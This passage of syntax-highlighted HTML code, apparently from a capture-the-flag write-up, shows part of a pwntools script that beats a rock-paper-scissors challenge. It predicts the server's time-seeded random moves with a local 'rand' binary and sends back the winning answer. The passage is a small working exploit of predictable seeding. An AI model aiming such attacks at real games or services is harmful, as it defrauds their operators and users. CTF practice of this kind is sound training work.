&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;paper&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;scissors&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;scissors&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;rock&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #8BA4B0);&quot;&gt; wait_for_next_second&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span&gt; epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;        time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0.05&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; _i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 99&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;    epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; time before asking for prompt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 0.8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;        wait_for_next_second&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;    info&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; wait for prompt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;22&lt;&#x2F;span&gt;&lt;span&gt;    time2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;23&lt;&#x2F;span&gt;&lt;span&gt;    rand_io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt; process&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.&#x2F;rand&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;rand_io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;readline&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;25&lt;&#x2F;span&gt;&lt;span&gt;    enemy_answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; rps&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;26&lt;&#x2F;span&gt;&lt;span&gt;    answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; rps_win&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;enemy_answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;28&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;    info&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Sending result: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;29&lt;&#x2F;span&gt;&lt;span&gt;    time3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; time before sending response&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; encoding&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;utf-8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;31&lt;&#x2F;span&gt;&lt;span&gt;    time4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; time after sending response&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;33&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;_i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;: Time delta: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;:.3f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;time2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;:.3f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;time2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; epoch_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;:.3f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;time4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;time3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;:3f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, 